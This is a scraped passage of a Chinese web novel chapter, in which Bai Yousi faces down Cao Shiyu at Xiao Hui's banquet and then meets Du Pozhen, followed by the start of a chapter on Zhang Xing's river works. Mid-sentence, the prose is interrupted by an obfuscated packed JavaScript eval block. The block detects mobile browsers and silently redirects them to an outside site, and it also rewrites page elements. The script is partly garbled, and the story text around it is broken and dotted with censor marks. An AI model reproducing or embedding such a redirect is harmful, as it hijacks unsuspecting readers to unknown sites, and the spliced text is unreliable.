“无论如何得先吞并湖南。”虞氏年长者更正道。“而真把湖南吞了,那以后的事情便真不好说……不过,听人说正是因为忌惮,所以萧国主才不愿意让操师御去湖南平叛,可偏偏湖南又不能不平……那是萧国主起家的地方,是他制衡操师御的根本所在。” “制衡的根本先反了?”白有思终究有些无语。 “就是制衡的过了头,那些人恨操师御跟真火教正统入了骨。”下面的人有一说一。“觉得萧国主放任了操师御占据江东,是背叛了他们……这里面的事情绕着呢。” 白有思点点头,又问了下湖南的问题,眼瞅着这些人修为不足精力匮乏,便也挥手让这些人去了。 不过,白三娘本人可没有这么早就睡的习惯,其余人人走后,口口声声说不愿意留在人家皇宫的她却半夜里回到了宫中,先找了值守宫女问了韩妃的位置,然后找到韩妃,喊对方起来说了几句话。 也不是叙旧,而是担心萧辉是个小心眼的,回去后给这位东都故人穿小鞋……没办法,有这个皇宫里住的前一位圣人作为榜样,任谁都要嘀咕一下。 不过,好在萧辉也是在大魏阴影中蹉跎半生的人,算是经历了小半辈子民间疾苦,便是有些不舒坦,又如何能与那位圣人相提并论? 所以,今夜委实无事。 白有思晓得情况,更兼那宫女必定会做汇报,算是有了态度传达,便也回去睡觉。 一夜无言,翌日,白有思本想继续拜访一些黜龙帮兼昔日白氏的人脉,却不料,中午时分,她刚刚在城外真火观后面的河堤见到了几人,未及攀谈,便有使者自城内过来,说国主请白总管去赴宴。 非只如此,在场的几人中有官身的一并被传召。 这个架势,怎么看怎么像是怕白有思问出了点什么,或者拉拢了谁……委实有些小家子气了。 但也没办法,众人只好一起折回城内。 而甫一入城,白有思便察觉到什么,继而醒悟过来,只其他人还以为是萧辉小家子气呢……当然,对于这些人来说,这种误会也很快就结束了。 因为,当他们来到皇宫,步入大殿的时候,大梁国师、元帅,真火教当教教主,老牌宗师操师御,已经等在了昨日白有思坐的位置上。 其余人见到这位大梁第一高手兼第一权臣,各自凛然,如家雀见到老鹰一般,只是各自扑倒在地大礼相见,堪称唯唯诺诺。倒是白有思,从容排众入内,先是朝萧辉躬身一礼,又朝那应该是操师御的人一拱手,全程一句话不说,径直往前面操师御跟前而去。 操师御见状也不好继续坐着,便起身避席往前走了几步,也要拱手回礼。 孰料,白有思来到跟前,看都不看对方,反而趁着这个时机,直接坐到了昨日自己的座位,也就是刚刚**师御所占据的对于萧辉而言左手第一位的位置。 操师御愣了一下,才意识到发生了什么,然后当场不知所措。 若是一个寻常人,他袖子一抬便把人卷走了,自己再坐回来就是,可这白三娘本身也是宗师,而且刚刚径直越过自己落座,就已经说明了她的修为,那他还能卷的动? 实际上,考虑到对方那号称宗师第一的传闻和这份视自己为无物的表现,操师御还真不敢翻脸动手。 真翻脸,真就可能葬送自己如今大好局面了。 另一边,倒是萧辉看到这一幕,脸上怎么都压不住那份笑意,直接便来寒暄:“白总管昨夜好心情,还来宫中寻韩妃叙旧。” “夜间难眠,便来叨扰。”白有思也笑。“给国主添麻烦了。” 萧辉再度颔首:“无妨,故人相逢,人之常情……倒是白总管夜间难眠,朕这里有南岭来的熏香,安神有奇效,待会让人给白总管住处送去一些。” “那就多谢国主厚意了。” 两人一唱一和,竟然视操师御为无物! 不过,操师御到底是老牌宗师,几十年的教主,此时回过神来,压住焦躁之意,也干脆坐到了对面,然后直接插嘴加入谈话:“白总管何时到的?宿在谁家?” 也是有几分唾面自干的风度了。 白有思这个时候才来正眼看对面之人……然后忍不住与上方萧辉做了个对比。 无他,按照情报,萧辉其实只有四十多岁,而操师御已经年逾六旬,两人是差着辈的,但现在来看,萧辉皮肤虽然抹了些粉却难掩松弛,头发涂了油也难掩枯白,一身绣凤锦衣虽然华丽却不耽误宗师能清晰听到他肺腔里的浊音;相对应的,操师御的外表几乎完全相反,配合着简单的绸缎修身武士服与武士冠,简直堪称精神焕发了。 尤其是这厮的一缕白发,居然也被专门修饰归拢,挂在耳边,宛若装饰一般。 “我是昨日刚到,宿在了世交虞侍郎家中。”白有思心中对比不停,嘴上回复清晰,甚至还带了一丝莫名笑意。“操国师何时过江的?我怎么没有察觉?” “又是虞侍郎,扬州这地方就是不缺姓虞的。”操师御也恢复了笑意。“其实昨夜就闻得白总管来了,今日上午便过江来了。本有渡船,就没有施展手段,惊吓百姓。” 白有思点点头,不再言语,直接低头给自己倒酒……对方坐在这里也不知道多久,酒碟什么的都没动,也不知道在装什么样子。 但白有思不吭声,操师御可不会不吭声,他本就是为前者来的。 “白总管,你是大明和黜龙帮数得着的人物,北方听说又有战事,为何此时忽然来我大梁?”操师御顿了一顿,直接恳切发问。“可是有什么缘故?” 萧辉立即来看白有思。 “自然是有的。”白有思啜了一口酒,昂然来答。“我们黜龙帮横扫河北,黜真龙而合北地,霸业已成,此时正该并吞天下,顺者昌逆者亡是也……这其中,大英不识天数,已经决定要与我们交战了,但大梁素来与我们相合,两家并无龃龉,反而因为对抗暴魏,多有合作……所以我此番亲自过来就一个意思,乃是请萧国主自去国号,以礼来降,到时仍不失龙头之位,岂不美哉?” 萧辉闻言笑了一笑,他当然知道白有思是在胡扯,毕竟自己的求援和北面杜破阵的军营可不是假的。 不过,也只是笑了一笑,这位大梁国主便又凛然起来——不管怎么说,这个以礼来降还是太刺激了一点。 右下方,操师御沉默了许久,他当然知道对面的白娘子是在胡扯,但问题在于,到底要不要就此把话题挑明?挑明了之后呢?真就在这里翻脸吗? 总得先摸清楚对方的底吧? 而且,对萧辉还是应该震慑为主,至于北面,自己对北面则委实好奇。 一念至此,其人鬼使神差一般正色来问:“若是我大梁果真仿效北地那般与你们聚义,萧国主自是龙头,却不知道我能得个什么位子,二十四位龙头位子里可还有我一席?” 白有思毫不犹豫摇头:“操教主想多了,我们给荡魔卫两席,一席是给荡魔卫,一席是给大宗师,阁下区区一个宗师,哪里有资格做龙头呢?” 操师御被气笑了。 而白有思却继续正色解释:“其实操教主想一想就知道了,我们黜龙帮又不是没有宗师,之前的牛河牛督公,就在这宫中驻了许久,对你们来说如芒在背的人物,在我们那边便是大头领,幽州的大刀魏文达,算是乱后幽州自起的宗师,也是大头领……阁下何德何能,想觊觎黜龙帮的龙头之位呢?” 操师御冷笑:“白总管这话是自己临时编造挑衅在下的吧?且不说牛河与魏文达都是战败収降,自然降一等,便是论及荡魔卫,也不该拿大梁来比,而是与我们真火教相提并论才对……真火教不值得一个龙头吗?” 这话说完操师御便后悔了,因为若是对方真就应许,他难道真就降了?本身在这里计较什么龙头就已经掉价了……应该多试探对方,而不是被对方牵着鼻子走。 “操教主想多了,人家荡魔卫虽然零散衰落,犹然实控半个北地,一旦合并,整个北地也都轰轰然而落,而阁下与真火教呢?当年真火教在湖南**的时候,我父亲当时就在杨斌军中,算是亲身经历……你们连内里都不能统一,统一了又不能直接影响整个江南,又有什么资格讨价还价呢?”白有思依然紧追不舍。 “无所谓了,都是戏言。”操师御想了半晌,只是一声叹气。“反正我对大梁忠心耿耿,而大梁握有江东、江西、湖南、淮南五十余郡,若是仅凭你宴中一番言语我们便倒戈卸甲来降,白娘子未免小看了大梁五十州的英雄豪杰。” “我想也是,但总得有人来说这番话。”白有思从容应对,却是扭头看向了御座中的萧辉。“萧国主,这番话非是玩笑,是来时黜龙帮龙头会议上定下的,所以,便是国主现在无心,将来万一有意的时候,也可想一想这番话……或许能免去一番刀兵。” 萧辉能说什么,只能苦笑摇头:“白总管说笑了,我大梁五十州的英雄豪杰俱在,如何能言降字?倒是阁下与张首席这般英雄,若有一日不能在北面立足,朕这里总有两个位子的。” 白有思点点头,不置可否,终结了这个话题。 但操师御却不能就此打住,他想问的都还没问呢,其人只是稍作片刻,举了一轮酒,算是开了宴,便继续喧臣夺宾:“白总管,听说你们收取北地时竟将吞风君黜落了?可吞风君不是黑帝爷座下的吗?如何要与他作对?” 此言一出,非只萧辉,在座所有人都竖起了耳朵。 “吞风君为真龙而据大兴山,天然夺北地地气,仅此一条,无论祂是黑是白,是南是北,都要黜落的……实际上,当日黜吞风君,后勤就是荡魔卫提供的,而大阵则多亏了贵教前千金老教主孙思远,正是南北合力,众人一心,方才成功。”白有思对这个问题明显早有准备。 “可要是这么说……”操师御听到自己恩师也曾参与,却是心里信了个十成十,对待这个问题也严肃了多。“你们黜龙帮是真要尽心尽力黜真龙了?” “自然如此。”白有思坦荡道。“我们重修了漳水三台,中间一座唤作吞风台,南北两座却只唤作南北二台,操公以为我们是为谁准备的?” 操师御冷笑一声:“天下真龙何止三条?” “是有区别的。”白有思认真解释道。“如吞风君,占据大兴山,侵夺地气;如分山君、避海君,怨气冲天,隔绝东夷与天下都是要黜落的……而若是其余真龙,不管是真是假,是被迫还是从心,只要他们没有侵夺地气,干涉人间,也不能都要追杀到底。” “这话倒是实话。”操师御想了一想,还是不解。“可当初你们建帮时不过是两郡之地,还都是草莽居多,如何敢告诉他们,这个黜龙帮的意思是要黜真龙呢?” “黜龙本有两层意思,倒没有说这个原本的意思。”白有思失笑道。“黜龙帮一则黜真龙,二则黜假龙……” “真龙我已经晓得,何为假龙?” “如之前北方数十年关陇贵种独断天下,如在之前江东世族反覆数朝括尽南方锱铢,如再往前将门武人予求予取,还如东夷隔绝天下,都算是假龙。”白有思也是张口就来。“便是阁下与真火教,若肆意兼并土地,欺压百姓,黜龙帮也要把你们视为一条假龙的。” 陪宴的许多人都面色发白,萧辉也眼神飘忽,倒是操师御仰头大笑起来,笑的满殿哗哗,笑的声浪滚滚。 片刻后,这位大梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168029|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权臣方才摇头摆手戏谑来道:“白总管,白总管,你说这话我信,信这是你与那位张三郎的本意!可是,可是,可是黜龙帮建帮时那些人听了这些话敢信吗?怕是只听了一句要打破关陇吧?” 白有思点头:“诚然如此,彼时口号是剪除暴魏多一些,现在已经成了,便少提了。” “而且。”操师御继续摇头指着对方道。“我也晓得为何当日红山上张三郎说什么只尽力去做,将来人便是反覆也要费力气改回来了……诚然如此!你们早就晓得,这真龙黜了就没了,据说还能提升黜龙者的修为,可这假龙黜了,还会生出新的,是也不是?” “是。”白有思依旧点头。 “那……那……”操师御想了又想,始终不知道如何准确表达,甚至有些激动的样子,以至于语无伦次。“那你们值得吗?而且能黜几条假龙?换成你们的说法便是,能让新龙再长起来时少几斤肉?” “若是以往,我会说,能少几斤是几斤,我们自己觉得值得就行,而且一旦做了,总有人以我们为榜样再去做。”白有思语气幽幽,音量却在殿上堪称滚滚。“但现在我觉得,只是我们这一拨人,便能做许多事情了,而且已经做成许多事情了……我们黜了一条真龙,首倡义兵推翻了暴魏,对河北、河南重新均田,完全消除了奴籍,修订了以民为本的律法,摒弃了内侍……至于说高利债、**、世族影响,肯定是有残余的,私下里也会继续维持下去,但全都效果显著,远胜以往,目视可及的将来也都不能再上台面。 “非只如此,现在我们已经有了充足信心,再黜落两条真龙,然后一统四海,届时天下一起公平授田,公平赋税,让全天下一起消除奴籍,使高利债、**和世族影响降到最低。 “更重要的是,我们现在黜龙帮的所谓权贵,也就是那些大小头领们,虽然三郎他屡屡不满意、始终不满意,我却私以为,已经是青帝爷传道以来攫天下之利最少的一帮掌权者了。 “操公以为如何?” 操师御中途就已经变色,此时沉默良久,方才缓缓言道:“那只能希望三辉四御都护佑贤伉俪,免得步郦月钱毅后尘了!” “真若如此也无妨。”白有思笑道。“但事到如今,我却觉得想落那个下场极难……因为郦月那时候,真正坏了英雄局面的,其实是更上面的至尊、真龙,郦月、钱毅,乃至于祖帝,他们当时都受制于修为,不能逆天而为;时至今日,或许正是因为当日的教训,四御退避,三辉无声,人间事人间了,而我们黜龙帮连吞风君都已经黜落,就反过来成了人间的天!倒是那些自诩旧例的假龙,现在应该小心一些,不要再逆天而行!” 操师御只能摇头:“白娘子好厉害的嘴!” “只是稍得皮**。”白有思竟然有些不好意思起来。 操师御赶紧摆手,似乎是要歌舞还是要饮酒什么的,打断这场谈话。 但白有思如何能饶他,乃是立即扬声追上:“操公,话已经说到这个份上,有些东西不吐不快……江南素称陈旧,但种种经历摆在那里,也该晓得,天下事本就是如此,平素看起来一成不变,实则早已经暗中潜流,而一朝遇到对应的人物,若是守旧人物倒也罢了,遇到个像我家三郎那般肆无忌惮到不管不顾的,反而会大踏步向前,所谓顺之者昌,逆之者亡就是这样……只不过,这一次他更肆无忌惮一些,要向前的也更多一些罢了!还请你们真火教看清楚利害与前后,千万不要做假龙!” 操师御抬手停在那里,隔了片刻,忽然扭头看向主座上的萧辉,言语冷冽:“国主,事到如今,你难道还以为黜龙帮可以倚仗吗?人家是真要我们去戈卸甲,将大梁五十郡奉上的!不会跟你应承的!” 说完,不待萧辉回应,此人直接起身拂袖而去。 白有思没有理会他,只自顾自宴饮,而萧辉意外的只是沉默了片刻,依旧没有做任何多余的**表态,也只是宴饮如常。 这一日,竟也平安度过。 非止这一日,第二日也无什么叨扰,只操师御直接回了江宁……这倒也好,因为扬州城内外的梁国官吏立即就有了行动力,一面是流言四起,一面人有人主动过来找白总管做打听、问说法了。 到了这日傍晚,且不管扬州城内外如何上下疑惧纷扰,白有思所居的虞氏府上突然有人造访,此人自称是黜龙帮使者,从徐州而来。 虞府自然不敢怠慢,将人留下,然后去寻在外面酒楼上与梁国官员喝酒的白有思,后者当然知道自己的脚程,晓得徐州的使者不可能追来,但也只是不露声色,继续与这些探风的人将酒瘾饮罢,方才从容回府召见那人。 而那人则来到白有思面前,拱手行礼,语出惊人:“白龙头,在下是淮南行台所属,杜盟主义子,领亲卫队将……义父大人让我告诉你,我来扬州时他已经收到大梁皇帝的书信,也要往此处兼程而来……不过,我走的是运河西岸,他走的是东岸,要过两次河,怕是会晚半日。” 白有思恍然,却是瞬间明白了一切。 且说,萧辉到底是个旋涡中挣扎出来的国主,虽然下面一团乱麻到无法收拾,但实际上,像张行那般能将一群草莽收拾成局面的反而是少数,白横秋都要借关陇的旧制度和**传统,所以并不能说萧辉此人无能。而这样的话,其人前几日的表现就显得窝囊过了头。 现在来看,他倒是第一时间抓住了要害——他萧辉请的是杜破阵这个黜龙帮的“外镇”,如何来的是白有思这个黜龙帮的核心,而且是孤身而至? 这跟之前与淮右盟的交涉也不合。 所以,萧辉要做的事情很简单,拖住白有思,问清楚杜破阵立场,再行方略:如果真的是白有思不请自来,那最好的处理方式是是借操师御逼退对方,然后依旧以杜破阵的淮右盟为基础,完成湖南平叛;至于说若是杜破阵跟白有思立场是一致的…… “有意思。” 白有思想了一想,只能在心中如此说,然后便将使者安置下来,让对方缓两日再走,自己则趁着暮色收敛修为,出城而去……出城后,先绕行城东,彼处有一道联结淮水与大江、也是扬州之所以成为扬州的运河。 过河,守在渡口,等到半夜并未见人来,于是其人便循路北上,然后在距离扬州渡口近二十里的一处驿站寻到了一盏灯。 整个驿站已经全然黑掉,只有一个不大侧房的窗户还有微光。 白有思寻下来,只是真气一扫,便有所察觉,然后推门而入,见到了等在这里的杜破阵。 杜破阵似乎还是那个老样子,永远永远的沂山农民模样,但皮肤还是比年轻时好了许多,衣着也不由自主的整洁起来。 这位黜龙帮的外镇等到白有思,拱手一礼,从容至极。 这倒也是,这一次搞偷袭的乃是黜龙帮大行台和白有思,某种意义上而言,淮右盟和杜破阵是受害者。 白有思点点头,坐了下来。 两人相对,杜破阵先行皱眉:“白龙头,现在萧辉把咱们隔绝起来,明显是担心你过去太过强横,只想用我和淮右盟的兵……若是如此,咱们怎么办?” 白有思顿了一下,她彻底意识到对方的狡猾了。 道理很简单,萧辉做出现在这个动作,肯定是有疑惑,但事发突然,这位内虚的国主是不会直接否定让白有思参战的,证据恰恰就是他这个私下邀请杜破阵的手段,这本身就说明他在疑虑,不可能迅速做出决断,。 而杜破阵这里滑了个坡,他默认对方已经做出判断,并只接受淮右盟而不接受黜龙帮核心主力。 他不担心白有思会与萧辉对峙,因为萧辉接下来肯定会先召见他,只要那个时候他杜盟主私下直接把事情挑明了,建议对方拿出这个态度,萧辉也没有理由不采用。 联想到他还主动让白有思来这里跟他见一面,规避掉了背叛黜龙帮的风险,只能说,这老革有些伎俩。 至于说,白有思有没有破局的手段呢? 当然也有,比如说现在直接带着杜破阵去找萧辉,这样的话杜破阵当然不会当面挑明矛盾,确保淮右盟跟黜龙帮进退一致,而到时候萧辉或许依旧会采用他们做援军。但问题在于,此类揭牌的手段都是建立在破坏黜龙帮团结的基础上的……有的是内里,还有的干脆会把黜龙帮跟自己外镇的矛盾公开暴露在外。 真这样,得失就不好计算了。 不过所幸,白有思这几日提前突袭不是白做的,缓过神后,她笑了笑给出答复:“无妨……你明日告诉萧辉,黜龙帮大行台已经有了秘密决断,若是他坚持只要借淮右盟为援而拒绝我的话,或者一个援兵都不借了,那我们大明便会与大梁正式宣战!一旦开战,我会亲自动手先宰了操师御,而你和牛达会发兵南下!到时候,江南豪杰纷乱,五十郡之地委实难吞,可他安身立命的扬州却是一定能打下来的……而真到了那个局面,他可以去江南投奔操师御的属下嘛。” 杜破阵愣了一下,赶紧认真提醒:“白龙头,这般诈唬他,事后被他发现言语虚妄,会被他轻视的。” “谁告诉你我是在诈唬他?”白有思面露不解。“是我杀不了操师御,还是你跟牛达联手打不下一个扬州?杜龙头,你在淮南快两年,大行台那里把河北跟北地都吞了,连真龙都黜了,莫告诉我你竟还没有充足的军事准备!” 外面熏风阵阵,难掩夏日夜晚的高温,可杜破阵此时心都凉了。 若是黜龙帮真的正式宣战,自己如之奈何?真有那个魄力联萧抗张吗?寸功未立,下面的淮西子弟凭啥跟你走呀? 而且,对方问的好呀……大行台把河北跟北地都一并吞了,自己却才等到一个机会,难道真的是天意流转到了张三郎和这位白三娘身上吗? 一念至此,杜破阵只能苦笑掩饰:“儿郎们当然得用,只是我数年不战,髀肉都复生了,所以不敢想了。” PS:大哥大嫂过年好……祝早点回家! 第七十五章 安车行(4) 夏日炎炎,浊漳水上游的大陆泽畔倒是还有几分清风,此时号称横行大明一百州郡的踏白骑全员汇集,正在大陆泽边缘的一个小湖中……嗯,竭泽而渔。 是真正的竭泽而渔,他们筑起泥垒,阻隔湖面水道,然后将被隔断的湖水水引向早就挖好的新河道,只兜着渔网和藤筐放水。等到水放的差不多以后,张行一脚当先踩了进去,远远炫丽的辉光真气甩出去,宛若凌空飞出一根金色绳索,便将一尾众人早就察觉到的、足足四五斤的胖头鱼给高高卷起,然后砸落在身后的大木桶内,溅起一大片水花。 周围看热闹的还有无数军民齐齐发一声喊,竟然为了一条胖头鱼而欢呼雀跃起来。 随即,随着张首席一招手,更是苍头垂髫,齐齐奔入沼泽,来捉鱼摸虾。 这场竭泽而渔持续了一整个多时辰,而在日头偏西之后,更是转移到在水泽边缘通往一处村庄的树林旁,此地早已经挖坑起灶完毕,柴火野菜也都准备好,然后便一起炖鱼。 炖鱼的时候,只穿着一件单衣的张行亲自拎着一个大桶,挨个与围着坐的一些本地父老孩童舀冰镇的酸梅汤。而因为一些完全可以想象的到的缘故,那些老人拿着碗接过后都捧着转交给自己的儿孙来喝,到了后来,更是有人抱着还不会走路的孩子过来,求一碗张首席亲自舀的酸梅汤。 张行明显是见过世面的,自然晓得这是把自己当成霍去病的膝盖了,而且已经有过经验,便只让人去约束不要拥挤,然后将三桶酸梅汤倒干净,再给现场的幼儿们每人发一截准备好的红头绳,就不做多余举动。 等到鱼汤翻滚,更是从容端过第一碗汤坐在了还有些腥味的土垒上,用起了自己的下午汤。 按照惯例,接下来会午睡半个时辰,等转凉后的傍晚再干活,所以,从这个时候开始,周围是应该渐渐从喧嚷到安静的……孰料,鱼汤喝了半碗,忽然间,南面官道上便锣鼓喧天,唢呐齐响,原本要散去的村民更是蜂拥而去,瞬间便人山人海,几乎将官道遮蔽。 片刻后,仰头把温热鱼汤倒入口中的张行见到了始作俑者。 为首的是刘黑榥,其人穿着赤色锦缎束袖,戴着雕花赤铜武士冠,挂着鲸骨牌,悬着大红花,趾高气昂骑着一匹大白马过来,身后则是一连串的队伍,有人骑马,有人坐淄车,其中颇有几位头领……实际上,张行清楚的看到,就连一向老实的韩二郎也在刘黑榥身后,也戴着大红花。 也是大略醒悟过来这个队伍是怎么回事了。 甚至大约猜到他们还会搞什么别的事情。 外面热闹了好大一通,刘黑榥终于晃悠到张行跟前,却是将已经有些残破的大红花一摆,直接来问:“首席,好看不?” “你在作甚?”放弃去打第二碗鱼汤的张行坐在泥台子上搭手失笑来问。 “我来覑新娘子。”刘黑榥叉着腰得意道。“生平何曾想过能娶到这般富贵又漂亮的新娘子?还会算账管家!” 张行连连点头:“确实值得炫耀,但如何直接从邺城炫耀到大陆泽来了?这般忍耐不住?” 刘黑榥丝毫不慌:“这婚事是首席做主,全是首席的恩义,自然要领着新娘子来首席这里做个首尾。” “这话说的也通,来吧,把人都带来,我就坐这里,都朝我拜一拜,便回去吧!”张行懒得计较,只想打发对方。“大热天的,别把新娘子热坏了!” 刘黑榥欲言又止,但也只好匆匆跑回去喊人。 须臾片刻,刘黑榥这个大头领带着,韩二郎这位头领次之,外加其余一些还算眼熟的中高级军官、吏员汇集,各自领着新妇,就在这烂泥坑前朝只穿着单衣的张行一起行礼下拜。 张行当然也不会怯场,坦然受了一礼,然后立即说了些好歹话。 什么你们这些野汉子既然结了婚,就须懂得家国天下,以后做事也要体面起来,不要丢了我的脸面;而你们这些媳妇,不管以前是不是帮里的,既然结了婚,便是一家人,以后就要一起为黜龙帮和大明的天下做贡献;反过来讲,若是因为结了婚有了小家,继而存了私心,拉自己丈夫妻子的后腿,我也是断断不饶的! 最后,重新强调了一遍,既然是我给你们牵的线,如今又受你们一拜,将来婚姻中不管受了委屈,尽管直接给我写信,一时寻不到我,将信送到观风院就行,到时候必然与你们做主。 张行说完这些废话,便摆手让他们散去。 新娘子们热热闹闹来,热热闹闹走,但刘黑榥和韩二郎为首,这群清河籍贯或者高鸡泊经历的军官却明显在拖延,他们绕来绕去,最后又围在了张行周边。 眼瞅着是不让张首席睡午觉的。 果然,随着刘黑榥推了一把,老实巴交的韩二郎无奈涨红着脸上前,说出了此行真正或者说最大的那个目的:“首席,我们想问个事情,为何清漳水修了一半,修到高鸡泊那里,反而转到浊漳水了?高鸡泊不修了吗?” 张行啧了一声,心中感慨,果然如此。 且说,这个夏天,张行赫然发现,他对局势的发展产生了明显的误判……不是对外,而是对内。 他一直担心,自己这一次的缓战策略会不会遭遇到巨大阻力?毕竟上一次北伐前持续了近大半年的缓战方略,他就遭遇到了相当多人的剧烈反对……当时很多人因为战事和各家**对立,都担心这么慢动手会落于人后。 但现在来看,似乎恰恰是因为上一次缓战策略超出预想的成功,这一次并没有多少人反对,甚至颇有不少人主动认可这种方略,觉得好生休整一番,然后出大兵一出,便可吞千里**。 对此,张行不得不反过来强调将来战斗的艰巨性,并连续发文书到所有头领层面,继而到舵主、**,也就是县尉、队将一层,要求他们端正态度,严肃对待军事问题,不要轻视战争风险,而且要随时准备面对可能扩大的战事。 但是,话容易说,真到了具体问题上,却很难扭转对应的行动,尤其是张行自己还在坚持“缓战”的策略。 而这其中,目前最突出的,就是这个他身体力行的整修河道工程。 张行之前觉得,这事可能会异常艰难,因为那些黜过真龙的踏白骑会对这种脏活累活有抵触心理,而如果征发劳役的话会让河北百姓联想起大魏那十几年间的恐惧……毕竟,眼下的壮劳力,都是那段时间的长大的。 然而,整修河道的收益是如此诱人,如此有成就感,张行在内的几乎所有黜龙帮高层又都不愿意放弃。这就导致了最终黜龙帮维持了一个几乎是最保守却又最高效的工程规模——也就是踏白骑为核心,修为到凝丹以上的高层轮番协助,只在每个县境内征伐本县劳役,然后每次也只集中在同一条主河道进行的工程方式。 与此同时,在动员踏白骑这支超级工程队伍时又显得用力过度……这一点就纯粹是他张三的锅了。 实际上,随着工程展开,踏白骑很快就迷失在这种接连不断的举措之上。 不停被人慰问,不停被表彰,帮着娶媳妇,然后每修一个县的河道就有一个表现最突出的成员被外放为地方主官,踏入高阶升迁流程……当然,不是没人看出来张首席是在弄虚势、搞障眼法,比如娶媳妇这个事情,难道之前不是一直在帮着娶?还有外放主官这个事情,就算是不修河道,踏白骑也是挑选地方主官的核心组织吧?不过,即便是存在着少数心怀不满之人,面对着热烈的气氛,张行亲自下场的**,队伍的纪律以及个人的前途,都依然选择表面上的顺从。 这支超级工程队居然就这么以一种堪比神仙真龙的伟力为依托,持续把河道给挖了下去。 在修哪个县哪个县临时出劳役协助的情况下,他们十五日便整修完魏郡河段,三十日就修到清河郡,而这个神奇的速度,反过来产生了巨大的轰动效应……张行彼时还没有反应过来,还让那几位文书去写呢,写真龙有这个本事只知道吞地气,大魏有这个本事只想着建大金柱奉迎**,只有黜龙帮愿意用这种天地伟力来造福百姓。 这就是黜龙帮能得天下的缘故所在!所以黜龙帮一定能得天下! 然后没过多久,张行便意识到自己过火了,因为从各地百姓到黜龙帮各级成员,全都对这个事情上了心,甚至可以说相当多人的热情都聚在了踏白骑修河这件事情上。 “诚然如此。”张行想了一想,就坐在泥台子上承认了。“高鸡泊工程太大,收效却低,倒是浊漳水这里水中泥沙多,旱涝多灾,有这个功夫,不如在浊漳水这里多修些分流河堤,效用最好。” 韩二郎顿了一下,躬身行礼:“首席,这个道理我们自然晓得,可若是缺人手的话,我们这些清河本地人愿意自己去修,尤其是当日屯田营多安置在清河与平原,颇有几个营算是清河籍贯,还都落在高鸡泊周边……” “这事没那么简单。”张行本想直接拒绝,但想了一想,还是决定稍作解释。“自行水利牵扯到方方面面,一旦开了口子,怕是会扯出乱子。” 韩二郎虽然焦急,但还是马上反应过来:“首席是担心信都那边有话说吗?不要紧的,高鸡泊都在清漳水南边,都属于清河境内。” “便是都属于清河境内,你们一旦将高鸡泊围起来,也会影响人家信都的。”张行认真解释道。“再说了,只要许人自行修水利,何止是郡县之间,怕是乡里都要争抢的,到时候闹出事来,如何清理?” 韩二郎一愣,还是勉力抗辩:“首席,若是能将高鸡泊彻底排干,便可得良田万亩,到时候公平分润,信都、清河两郡的人均田下来,一起受益,什么争端都不起的。” “这是实话。”张行立即点头,但其实还是在劝慰。“可是,这种大型水利,一旦开启,旷日持久,干一半打仗了怎么办,会不会之前的努力全坏掉?而且,真要是按你的法子来,排干了高鸡泊似乎简单,可你有没有想过,那里之所以是大泽,就是因为那里地势低洼,所以一旦雨水盛大,河面上涨,便是有堤坝也成悬河,外面的田到时候也不保稳呢?大家授了田,安排到那里,结果前面打仗顾不得,后面毁于一旦,又应该如何处置?” 韩二郎终于默认,只回头去看其余人。 还是刘黑榥,晓得张行不会忌讳这些,大大咧咧来问:“首席,我们自然晓得这些难处,可这不是看你来大陆泽了吗?大陆泽比高鸡泊大了数倍,你若能带着踏白骑整饬了这里,我们自然能依着葫芦画个瓢,去整饬了高鸡泊……自说公平,也将这个公平了再说嘛。” “那你们就想多了。”张行连连摇头。“我都说了,我来这里是整饬浊漳水的,而整饬浊漳水,只能从这里算是上游,并没有对大陆泽大动干戈的意思……” 刘黑榥几人彻底无奈,对视一眼,还是这位大头领来做求证:“说到底,首席不想把工程做大?可咱们不缺人手。” “不是不想把工程做大,是怕做乱。”张行重申了自己的观点。“水利这个东西要讲技术,而且一般会跨越郡县,我自己领着,一段段修,清漳水那边只修河道,浊漳水这里只做分流河堤,怎么都不会出错,也不会闹出乱子,随时也都能停下去作战,而若是一窝蜂上来,不能说没效果,只怕浪费人力,不如等往后几年慢慢来,何必急于一时呢?须知,咱们还要打仗呢。” 刘黑榥等人明显还是有些焦躁之态。 “这几日不是只有你们来找。”张行见状继续来言。“两日前从高鸡泊那里过来的路上,魏公还专门寻到我说,魏郡西北面那片地方一直缺水,希望能挖一条运河过去,我都没答应,因为真去了才发现,那片地方地势高,而浊漳水河道低,水便是强行引过去,也多半损耗渗走了,也不方便浇灌……以眼下的人力和这么多待修整的河道来言,委实不值得。” 听到这个,刘黑榥等人彻底无奈,他们无论如何也不能越过魏玄定和首都邺城所在的魏郡让张行先开了高鸡泊的工程。 但他们还是不甘心,刘黑榥专门提醒:“首席,现在大家群情振奋,何必这般谨慎?” 张行晓得这些人乡土心思重,根本没法几句话说服,只是道理已经摆出来,倒也没必要继续纠缠,便直接摆手:“咱们现在的局面看起来顺风顺水,可即便是不说外战的局面,光是内里都不知道多少难处和问题等着呢……如何这般大意?” 刘黑榥等人见张行态度坚决,虽然还是焦躁,但终于无话,只是表示今日既然来了,自然要帮张首席挖几筐泥再走……这倒是合乎黜龙帮一贯的常例。 因为这些人的打扰,午睡是没了,而过了一阵子,太阳进一步西斜,空气中的温度明显降了不少,张行便起身招呼起了踏白骑,刘黑榥等人也参与了进来。 然而,等到队伍集合,却不见众人取锄头、箩筐,反而只是往河口处集合,这让最近忙天忙地的刘黑榥、韩二郎等人不免有些好奇。 当然,这种好奇很快就消失了,因为队伍在河口集合以后,便立即开始轻车熟路的组阵! 这下子,刘黑榥等人瞬间醒悟,原来之前传闻中张首席用神仙手段修河是真的……也难怪们他会想错,毕竟之前在清漳水魏郡范畴内还只是让这些踏白骑下去挖,仗着修行者力气大力气足,然后张首席带着那些高手用真气平整河堤而已,所以只当那些说法是误传。 这个时候,张行拎着一个寻常锄头走过来,喊了刘黑榥,指向了视野中被撒了白灰的两条细线:“看到了吗?两条线内五丈宽,不能太深,两丈,也没必要太陡,挖出的泥拍在两岸,长度已经定好,往田地里延伸七八里而已,你能做吗?” 